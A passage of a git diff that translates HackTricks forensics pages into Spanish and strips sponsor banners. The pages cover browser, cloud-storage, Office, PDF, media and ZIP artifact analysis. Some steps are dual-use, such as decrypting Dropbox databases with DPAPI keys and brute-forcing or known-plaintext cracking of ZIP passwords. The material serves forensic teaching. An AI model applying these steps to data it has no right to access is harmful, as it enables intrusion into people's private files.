`fraud_protection_enabled` en el archivo de Preferencias está configurado como `true` usando `grep`. -These paths and commands are crucial for accessing and understanding the browsing data stored by different web browsers. +Estas rutas y comandos son cruciales para acceder y comprender los datos de navegación almacenados por diferentes navegadores web. -## References +## Referencias - [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a) - [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/) - [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file) - **Book: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123** -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md index c22a6f566..69b24830d 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md @@ -1,50 +1,42 @@ {{#include ../../../banners/hacktricks-training.md}} -Some things that could be useful to debug/deobfuscate a malicious VBS file: +Algunas cosas que podrían ser útiles para depurar/desofuscar un archivo VBS malicioso: ## echo - ```bash Wscript.Echo "Like this?" ``` - -## Commnets - +## Comentarios ```bash ' this is a comment ``` - -## Test - +## Prueba ```bash cscript.exe file.vbs ``` - -## Write data to a file - +## Escribir datos en un archivo ```js Function writeBinary(strBinary, strPath) - Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject") +Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject") - ' below lines purpose: checks that write access is possible! - Dim oTxtStream +' below lines purpose: checks that write access is possible! +Dim oTxtStream - On Error Resume Next - Set oTxtStream = oFSO.createTextFile(strPath) +On Error Resume Next +Set oTxtStream = oFSO.createTextFile(strPath) - If Err.number <> 0 Then MsgBox(Err.message) : Exit Function - On Error GoTo 0 +If Err.number <> 0 Then MsgBox(Err.message) : Exit Function +On Error GoTo 0 - Set oTxtStream = Nothing - ' end check of write access +Set oTxtStream = Nothing +' end check of write access - With oFSO.createTextFile(strPath) - .Write(strBinary) - .Close - End With +With oFSO.createTextFile(strPath) +.Write(strBinary) +.Close +End With End Function ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md index 99792162b..2ce427efc 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md @@ -1,114 +1,97 @@ -# Local Cloud Storage +# Almacenamiento en la Nube Local {{#include ../../../banners/hacktricks-training.md}} -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## OneDrive -In Windows, you can find the OneDrive folder in `\Users\\AppData\Local\Microsoft\OneDrive`. And inside `logs\Personal` it's possible to find the file `SyncDiagnostics.log` which contains some interesting data regarding the synchronized files: +En Windows, puedes encontrar la carpeta de OneDrive en `\Users\\AppData\Local\Microsoft\OneDrive`. Y dentro de `logs\Personal` es posible encontrar el archivo `SyncDiagnostics.log` que contiene algunos datos interesantes sobre los archivos sincronizados: -- Size in bytes -- Creation date -- Modification date -- Number of files in the cloud -- Number of files in the folder -- **CID**: Unique ID of the OneDrive user -- Report generation time -- Size of the HD of the OS +- Tamaño en bytes +- Fecha de creación +- Fecha de modificación +- Número de archivos en la nube +- Número de archivos en la carpeta +- **CID**: ID único del usuario de OneDrive +- Hora de generación del informe +- Tamaño del HD del sistema operativo -Once you have found the CID it's recommended to **search files containing this ID**. You may be able to find files with the name: _**\.ini**_ and _**\.dat**_ that may contain interesting information like the names of files synchronized with OneDrive. +Una vez que hayas encontrado el CID, se recomienda **buscar archivos que contengan este ID**. Es posible que encuentres archivos con el nombre: _**\.ini**_ y _**\.dat**_ que pueden contener información interesante como los nombres de los archivos sincronizados con OneDrive. ## Google Drive -In Windows, you can find the main Google Drive folder in `\Users\\AppData\Local\Google\Drive\user_default`\ -This folder contains a file called Sync_log.log with information like the email address of the account, filenames, timestamps, MD5 hashes of the files, etc. Even deleted files appear in that log file with its corresponding MD5. +En Windows, puedes encontrar la carpeta principal de Google Drive en `\Users\\AppData\Local\Google\Drive\user_default`\ +Esta carpeta contiene un archivo llamado Sync_log.log con información como la dirección de correo electrónico de la cuenta, nombres de archivos, marcas de tiempo, hashes MD5 de los archivos, etc. Incluso los archivos eliminados aparecen en ese archivo de registro con su correspondiente MD5. -The file **`Cloud_graph\Cloud_graph.db`** is a sqlite database which contains the table **`cloud_graph_entry`**. In this table you can find the **name** of the **synchronized** **files**, modified time, size, and the MD5 checksum of the files. +El archivo **`Cloud_graph\Cloud_graph.db`** es una base de datos sqlite que contiene la tabla **`cloud_graph_entry`**. En esta tabla puedes encontrar el **nombre** de los **archivos sincronizados**, tiempo de modificación, tamaño y el checksum MD5 de los archivos. -The table data of the database **`Sync_config.db`** contains the email address of the account, the path of the shared folders and the Google Drive version. +Los datos de la tabla de la base de datos **`Sync_config.db`** contienen la dirección de correo electrónico de la cuenta, la ruta de las carpetas compartidas y la versión de Google Drive. ## Dropbox -Dropbox uses **SQLite databases** to manage the files. In this\ -You can find the databases in the folders: +Dropbox utiliza **bases de datos SQLite** para gestionar los archivos. En este\ +Puedes encontrar las bases de datos en las carpetas: - `\Users\\AppData\Local\Dropbox` - `\Users\\AppData\Local\Dropbox\Instance1` - `\Users\\AppData\Roaming\Dropbox` -And the main databases are: +Y las bases de datos principales son: - Sigstore.dbx - Filecache.dbx - Deleted.dbx - Config.dbx -The ".dbx" extension means that the **databases** are **encrypted**. Dropbox uses **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN]()) +La extensión ".dbx" significa que las **bases de datos** están **encriptadas**. Dropbox utiliza **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN]()) -To understand better the encryption that Dropbox uses you can read [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html). +Para entender mejor la encriptación que utiliza Dropbox, puedes leer [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html). -However, the main information is: +Sin embargo, la información principal es: -- **Entropy**: d114a55212655f74bd772e37e64aee9b -- **Salt**: 0D638C092E8B82FC452883F95F355B8E -- **Algorithm**: PBKDF2 -- **Iterations**: 1066 +- **Entropía**: d114a55212655f74bd772e37e64aee9b +- **Sal**: 0D638C092E8B82FC452883F95F355B8E +- **Algoritmo**: PBKDF2 +- **Iteraciones**: 1066 -Apart from that information, to decrypt the databases you still need: +Aparte de esa información, para descifrar las bases de datos aún necesitas: -- The **encrypted DPAPI key**: You can find it in the registry inside `NTUSER.DAT\Software\Dropbox\ks\client` (export this data as binary) -- The **`SYSTEM`** and **`SECURITY`** hives -- The **DPAPI master keys**: Which can be found in `\Users\\AppData\Roaming\Microsoft\Protect` -- The **username** and **password** of the Windows user +- La **clave DPAPI encriptada**: Puedes encontrarla en el registro dentro de `NTUSER.DAT\Software\Dropbox\ks\client` (exporta estos datos como binarios) +- Los **hives** de **`SYSTEM`** y **`SECURITY`** +- Las **claves maestras DPAPI**: Que se pueden encontrar en `\Users\\AppData\Roaming\Microsoft\Protect` +- El **nombre de usuario** y **contraseña** del usuario de Windows -Then you can use the tool [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)**:** +Luego puedes usar la herramienta [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)**:** ![](<../../../images/image (448).png>) -If everything goes as expected, the tool will indicate the **primary key** that you need to **use to recover the original one**. To recover the original one, just use this [cyber_chef receipt]() putting the primary key as the "passphrase" inside the receipt. - -The resulting hex is the final key used to encrypt the databases which can be decrypted with: +Si todo va como se espera, la herramienta indicará la **clave primaria** que necesitas **usar para recuperar la original**. Para recuperar la original, simplemente usa esta [receta de cyber_chef]() poniendo la clave primaria como la "frase de paso" dentro de la receta. +El hex resultante es la clave final utilizada para encriptar las bases de datos que se puede descifrar con: ```bash sqlite -k config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db ``` +La base de datos **`config.dbx`** contiene: -The **`config.dbx`** database contains: +- **Email**: El correo electrónico del usuario +- **usernamedisplayname**: El nombre del usuario +- **dropbox_path**: Ruta donde se encuentra la carpeta de Dropbox +- **Host_id: Hash** utilizado para autenticarse en la nube. Esto solo se puede revocar desde la web. +- **Root_ns**: Identificador del usuario -- **Email**: The email of the user -- **usernamedisplayname**: The name of the user -- **dropbox_path**: Path where the dropbox folder is located -- **Host_id: Hash** used to authenticate to the cloud. This can only be revoked from the web. -- **Root_ns**: User identifier +La base de datos **`filecache.db`** contiene información sobre todos los archivos y carpetas sincronizados con Dropbox. La tabla `File_journal` es la que tiene más información útil: -The **`filecache.db`** database contains information about all the files and folders synchronized with Dropbox. The table `File_journal` is the one with more useful information: +- **Server_path**: Ruta donde se encuentra el archivo dentro del servidor (esta ruta está precedida por el `host_id` del cliente). +- **local_sjid**: Versión del archivo +- **local_mtime**: Fecha de modificación +- **local_ctime**: Fecha de creación -- **Server_path**: Path where the file is located inside the server (this path is preceded by the `host_id` of the client). -- **local_sjid**: Version of the file -- **local_mtime**: Modification date -- **local_ctime**: Creation date +Otras tablas dentro de esta base de datos contienen información más interesante: -Other tables inside this database contain more interesting information: - -- **block_cache**: hash of all the files and folders of Dropbox -- **block_ref**: Related the hash ID of the table `block_cache` with the file ID in the table `file_journal` -- **mount_table**: Share folders of dropbox -- **deleted_fields**: Dropbox deleted files +- **block_cache**: hash de todos los archivos y carpetas de Dropbox +- **block_ref**: Relaciona el ID de hash de la tabla `block_cache` con el ID de archivo en la tabla `file_journal` +- **mount_table**: Carpetas compartidas de Dropbox +- **deleted_fields**: Archivos eliminados de Dropbox - **date_added** -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md index 34433ce87..e84b51da0 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md @@ -1,36 +1,18 @@ -# Office file analysis +# Análisis de archivos de Office {{#include ../../../banners/hacktricks-training.md}} -
+Para más información, consulta [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Este es solo un resumen: -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Microsoft ha creado muchos formatos de documentos de Office, siendo los dos tipos principales **formatos OLE** (como RTF, DOC, XLS, PPT) y **formatos Office Open XML (OOXML)** (como DOCX, XLSX, PPTX). Estos formatos pueden incluir macros, lo que los convierte en objetivos para phishing y malware. Los archivos OOXML están estructurados como contenedores zip, lo que permite la inspección a través de la descompresión, revelando la jerarquía de archivos y carpetas y el contenido de archivos XML. -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +Para explorar las estructuras de archivos OOXML, se proporciona el comando para descomprimir un documento y la estructura de salida. Se han documentado técnicas para ocultar datos en estos archivos, lo que indica una innovación continua en la ocultación de datos dentro de los desafíos CTF. -For further information check [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). This is just a sumary: - -Microsoft has created many office document formats, with two main types being **OLE formats** (like RTF, DOC, XLS, PPT) and **Office Open XML (OOXML) formats** (such as DOCX, XLSX, PPTX). These formats can include macros, making them targets for phishing and malware. OOXML files are structured as zip containers, allowing inspection through unzipping, revealing the file and folder hierarchy and XML file contents. - -To explore OOXML file structures, the command to unzip a document and the output structure are given. Techniques for hiding data in these files have been documented, indicating ongoing innovation in data concealment within CTF challenges. - -For analysis, **oletools** and **OfficeDissector** offer comprehensive toolsets for examining both OLE and OOXML documents. These tools help in identifying and analyzing embedded macros, which often serve as vectors for malware delivery, typically downloading and executing additional malicious payloads. Analysis of VBA macros can be conducted without Microsoft Office by utilizing Libre Office, which allows for debugging with breakpoints and watch variables. - -Installation and usage of **oletools** are straightforward, with commands provided for installing via pip and extracting macros from documents. Automatic execution of macros is triggered by functions like `AutoOpen`, `AutoExec`, or `Document_Open`. +Para el análisis, **oletools** y **OfficeDissector** ofrecen conjuntos de herramientas completos para examinar tanto documentos OLE como OOXML. Estas herramientas ayudan a identificar y analizar macros incrustadas, que a menudo sirven como vectores para la entrega de malware, normalmente descargando y ejecutando cargas útiles maliciosas adicionales. El análisis de macros VBA se puede realizar sin Microsoft Office utilizando Libre Office, que permite la depuración con puntos de interrupción y variables de observación. +La instalación y el uso de **oletools** son sencillos, con comandos proporcionados para instalar a través de pip y extraer macros de documentos. La ejecución automática de macros se activa mediante funciones como `AutoOpen`, `AutoExec` o `Document_Open`. ```bash sudo pip3 install -U oletools olevba -c /path/to/document #Extract macros ``` - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md index 79799f2d8..209efa23c 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md @@ -1,28 +1,20 @@ -# PDF File analysis +# Análisis de archivos PDF {{#include ../../../banners/hacktricks-training.md}} -
+**Para más detalles, consulta:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +El formato PDF es conocido por su complejidad y su potencial para ocultar datos, lo que lo convierte en un punto focal para los desafíos de forense en CTF. Combina elementos de texto plano con objetos binarios, que pueden estar comprimidos o cifrados, y puede incluir scripts en lenguajes como JavaScript o Flash. Para entender la estructura de un PDF, se puede consultar el [material introductorio](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) de Didier Stevens, o utilizar herramientas como un editor de texto o un editor específico de PDF como Origami. -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +Para una exploración o manipulación profunda de PDFs, están disponibles herramientas como [qpdf](https://github.com/qpdf/qpdf) y [Origami](https://github.com/mobmewireless/origami-pdf). Los datos ocultos dentro de los PDFs pueden estar ocultos en: -**For further details check:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) +- Capas invisibles +- Formato de metadatos XMP de Adobe +- Generaciones incrementales +- Texto del mismo color que el fondo +- Texto detrás de imágenes o imágenes superpuestas +- Comentarios no mostrados -The PDF format is known for its complexity and potential for concealing data, making it a focal point for CTF forensics challenges. It combines plain-text elements with binary objects, which might be compressed or encrypted, and can include scripts in languages like JavaScript or Flash. To understand PDF structure, one can refer to Didier Stevens's [introductory material](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), or use tools like a text editor or a PDF-specific editor such as Origami. - -For in-depth exploration or manipulation of PDFs, tools like [qpdf](https://github.com/qpdf/qpdf) and [Origami](https://github.com/mobmewireless/origami-pdf) are available. Hidden data within PDFs might be concealed in: - -- Invisible layers -- XMP metadata format by Adobe -- Incremental generations -- Text with the same color as the background -- Text behind images or overlapping images -- Non-displayed comments - -For custom PDF analysis, Python libraries like [PeepDF](https://github.com/jesparza/peepdf) can be used to craft bespoke parsing scripts. Further, the PDF's potential for hidden data storage is so vast that resources like the NSA guide on PDF risks and countermeasures, though no longer hosted at its original location, still offer valuable insights. A [copy of the guide](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) and a collection of [PDF format tricks](https://github.com/corkami/docs/blob/master/PDF/PDF.md) by Ange Albertini can provide further reading on the subject. +Para un análisis personalizado de PDF, se pueden utilizar bibliotecas de Python como [PeepDF](https://github.com/jesparza/peepdf) para crear scripts de análisis a medida. Además, el potencial del PDF para el almacenamiento de datos ocultos es tan vasto que recursos como la guía de la NSA sobre riesgos y contramedidas de PDF, aunque ya no se encuentra alojada en su ubicación original, aún ofrecen valiosos conocimientos. Una [copia de la guía](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) y una colección de [trucos del formato PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md) de Ange Albertini pueden proporcionar más lecturas sobre el tema. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md index 6108df028..5cf16c8e2 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md @@ -1,9 +1,9 @@ {{#include ../../../banners/hacktricks-training.md}} -**PNG files** are highly regarded in **CTF challenges** for their **lossless compression**, making them ideal for embedding hidden data. Tools like **Wireshark** enable the analysis of PNG files by dissecting their data within network packets, revealing embedded information or anomalies. +**Los archivos PNG** son muy valorados en **los desafíos CTF** por su **compresión sin pérdida**, lo que los hace ideales para incrustar datos ocultos. Herramientas como **Wireshark** permiten el análisis de archivos PNG al descomponer sus datos dentro de paquetes de red, revelando información incrustada o anomalías. -For checking PNG file integrity and repairing corruption, **pngcheck** is a crucial tool, offering command-line functionality to validate and diagnose PNG files ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). When files are beyond simple fixes, online services like [OfficeRecovery's PixRecovery](https://online.officerecovery.com/pixrecovery/) provide a web-based solution for **repairing corrupted PNGs**, aiding in the recovery of crucial data for CTF participants. +Para verificar la integridad de los archivos PNG y reparar la corrupción, **pngcheck** es una herramienta crucial, que ofrece funcionalidad de línea de comandos para validar y diagnosticar archivos PNG ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). Cuando los archivos están más allá de reparaciones simples, servicios en línea como [OfficeRecovery's PixRecovery](https://online.officerecovery.com/pixrecovery/) proporcionan una solución basada en la web para **reparar PNGs corruptos**, ayudando en la recuperación de datos cruciales para los participantes de CTF. -These strategies underscore the importance of a comprehensive approach in CTFs, utilizing a blend of analytical tools and repair techniques to uncover and recover hidden or lost data. +Estas estrategias subrayan la importancia de un enfoque integral en los CTF, utilizando una combinación de herramientas analíticas y técnicas de reparación para descubrir y recuperar datos ocultos o perdidos. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md index a1e143cb0..4c1c95b69 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md @@ -1,29 +1,17 @@ {{#include ../../../banners/hacktricks-training.md}} -
+**La manipulación de archivos de audio y video** es un elemento básico en **los desafíos de forense de CTF**, aprovechando **la esteganografía** y el análisis de metadatos para ocultar o revelar mensajes secretos. Herramientas como **[mediainfo](https://mediaarea.net/en/MediaInfo)** y **`exiftool`** son esenciales para inspeccionar los metadatos de los archivos e identificar tipos de contenido. -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: +Para los desafíos de audio, **[Audacity](http://www.audacityteam.org/)** se destaca como una herramienta principal para ver formas de onda y analizar espectrogramas, esenciales para descubrir texto codificado en audio. **[Sonic Visualiser](http://www.sonicvisualiser.org/)** es muy recomendable para un análisis detallado de espectrogramas. **Audacity** permite la manipulación de audio, como ralentizar o invertir pistas para detectar mensajes ocultos. **[Sox](http://sox.sourceforge.net/)**, una utilidad de línea de comandos, sobresale en la conversión y edición de archivos de audio. -{% embed url="https://academy.8ksec.io/" %} +La manipulación de **Bits Menos Significativos (LSB)** es una técnica común en la esteganografía de audio y video, explotando los fragmentos de tamaño fijo de los archivos multimedia para incrustar datos de manera discreta. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** es útil para decodificar mensajes ocultos como **tonos DTMF** o **código Morse**. -**Audio and video file manipulation** is a staple in **CTF forensics challenges**, leveraging **steganography** and metadata analysis to hide or reveal secret messages. Tools such as **[mediainfo](https://mediaarea.net/en/MediaInfo)** and **`exiftool`** are essential for inspecting file metadata and identifying content types. +Los desafíos de video a menudo implican formatos de contenedor que agrupan flujos de audio y video. **[FFmpeg](http://ffmpeg.org/)** es la herramienta de referencia para analizar y manipular estos formatos, capaz de desmultiplexar y reproducir contenido. Para desarrolladores, **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** integra las capacidades de FFmpeg en Python para interacciones avanzadas y programables. -For audio challenges, **[Audacity](http://www.audacityteam.org/)** stands out as a premier tool for viewing waveforms and analyzing spectrograms, essential for uncovering text encoded in audio. **[Sonic Visualiser](http://www.sonicvisualiser.org/)** is highly recommended for detailed spectrogram analysis. **Audacity** allows for audio manipulation like slowing down or reversing tracks to detect hidden messages. **[Sox](http://sox.sourceforge.net/)**, a command-line utility, excels in converting and editing audio files. +Esta variedad de herramientas subraya la versatilidad requerida en los desafíos de CTF, donde los participantes deben emplear un amplio espectro de técnicas de análisis y manipulación para descubrir datos ocultos dentro de archivos de audio y video. -**Least Significant Bits (LSB)** manipulation is a common technique in audio and video steganography, exploiting the fixed-size chunks of media files to embed data discreetly. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** is useful for decoding messages hidden as **DTMF tones** or **Morse code**. - -Video challenges often involve container formats that bundle audio and video streams. **[FFmpeg](http://ffmpeg.org/)** is the go-to for analyzing and manipulating these formats, capable of de-multiplexing and playing back content. For developers, **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** integrates FFmpeg's capabilities into Python for advanced scriptable interactions. - -This array of tools underscores the versatility required in CTF challenges, where participants must employ a broad spectrum of analysis and manipulation techniques to uncover hidden data within audio and video files. - -## References +## Referencias - [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md index d4e17eb0d..187aea9f5 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md @@ -1,20 +1,20 @@ -# ZIPs tricks +# Trucos de ZIP {{#include ../../../banners/hacktricks-training.md}} -**Command-line tools** for managing **zip files** are essential for diagnosing, repairing, and cracking zip files. Here are some key utilities: +**Herramientas de línea de comandos** para gestionar **archivos zip** son esenciales para diagnosticar, reparar y descifrar archivos zip. Aquí hay algunas utilidades clave: -- **`unzip`**: Reveals why a zip file may not decompress. -- **`zipdetails -v`**: Offers detailed analysis of zip file format fields. -- **`zipinfo`**: Lists contents of a zip file without extracting them. -- **`zip -F input.zip --out output.zip`** and **`zip -FF input.zip --out output.zip`**: Try to repair corrupted zip files. -- **[fcrackzip](https://github.com/hyc/fcrackzip)**: A tool for brute-force cracking of zip passwords, effective for passwords up to around 7 characters. +- **`unzip`**: Revela por qué un archivo zip puede no descomprimirse. +- **`zipdetails -v`**: Ofrece un análisis detallado de los campos del formato de archivo zip. +- **`zipinfo`**: Lista el contenido de un archivo zip sin extraerlo. +- **`zip -F input.zip --out output.zip`** y **`zip -FF input.zip --out output.zip`**: Intenta reparar archivos zip corruptos. +- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Una herramienta para el descifrado por fuerza bruta de contraseñas zip, efectiva para contraseñas de hasta aproximadamente 7 caracteres. -The [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) provides comprehensive details on the structure and standards of zip files. +La [especificación del formato de archivo Zip](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) proporciona detalles completos sobre la estructura y los estándares de los archivos zip. -It's crucial to note that password-protected zip files **do not encrypt filenames or file sizes** within, a security flaw not shared with RAR or 7z files which encrypt this information. Furthermore, zip files encrypted with the older ZipCrypto method are vulnerable to a **plaintext attack** if an unencrypted copy of a compressed file is available. This attack leverages the known content to crack the zip's password, a vulnerability detailed in [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) and further explained in [this academic paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). However, zip files secured with **AES-256** encryption are immune to this plaintext attack, showcasing the importance of choosing secure encryption methods for sensitive data. +Es crucial notar que los archivos zip protegidos por contraseña **no encriptan los nombres de archivo ni los tamaños de archivo** dentro, un defecto de seguridad que no comparten los archivos RAR o 7z, que encriptan esta información. Además, los archivos zip encriptados con el método más antiguo ZipCrypto son vulnerables a un **ataque de texto plano** si hay una copia no encriptada de un archivo comprimido disponible. Este ataque aprovecha el contenido conocido para descifrar la contraseña del zip, una vulnerabilidad detallada en [el artículo de HackThis](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) y explicada más a fondo en [este artículo académico](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). Sin embargo, los archivos zip asegurados con encriptación **AES-256** son inmunes a este ataque de texto plano, lo que demuestra la importancia de elegir métodos de encriptación seguros para datos sensibles. -## References +## Referencias - [https://michael-myers.github.io/blog/categories/ctf/](https://michael-myers.github.io/blog/categories/ctf/) diff --git a/src/forensics/basic-forensic-methodology/windows-forensics/README.md b/src/forensics/basic-forensic-methodology/windows-forensics/README.md index 08b2ede8c..de0ae0b98 100644 --- a/src/forensics/basic-forensic-methodology/windows-forensics/README.md +++ b/src/forensics/basic-forensic-methodology/windows-forensics/README.md @@ -4,511 +4,494 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} ## Generic Windows Artifacts ### Windows 10 Notifications -In the path `\Users\\AppData\Local\Microsoft\Windows\Notifications` you can find the database `appdb.dat` (before Windows anniversary) or `wpndatabase.db` (after Windows Anniversary). +En la ruta `\Users\\AppData\Local\Microsoft\Windows\Notifications` puedes encontrar la base de datos `appdb.dat` (antes de la actualización de aniversario de Windows) o `wpndatabase.db` (después de la actualización de aniversario de Windows). -Inside this SQLite database, you can find the `Notification` table with all the notifications (in XML format) that may contain interesting data. +Dentro de esta base de datos SQLite, puedes encontrar la tabla `Notification` con todas las notificaciones (en formato XML) que pueden contener datos interesantes. ### Timeline -Timeline is a Windows characteristic that provides **chronological history** of web pages visited, edited documents, and executed applications. +Timeline es una característica de Windows que proporciona **historial cronológico** de páginas web visitadas, documentos editados y aplicaciones ejecutadas. -The database resides in the path `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`. This database can be opened with an SQLite tool or with the tool [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **which generates 2 files that can be opened with the tool** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md). +La base de datos se encuentra en la ruta `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`. Esta base de datos se puede abrir con una herramienta SQLite o con la herramienta [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **que genera 2 archivos que se pueden abrir con la herramienta** 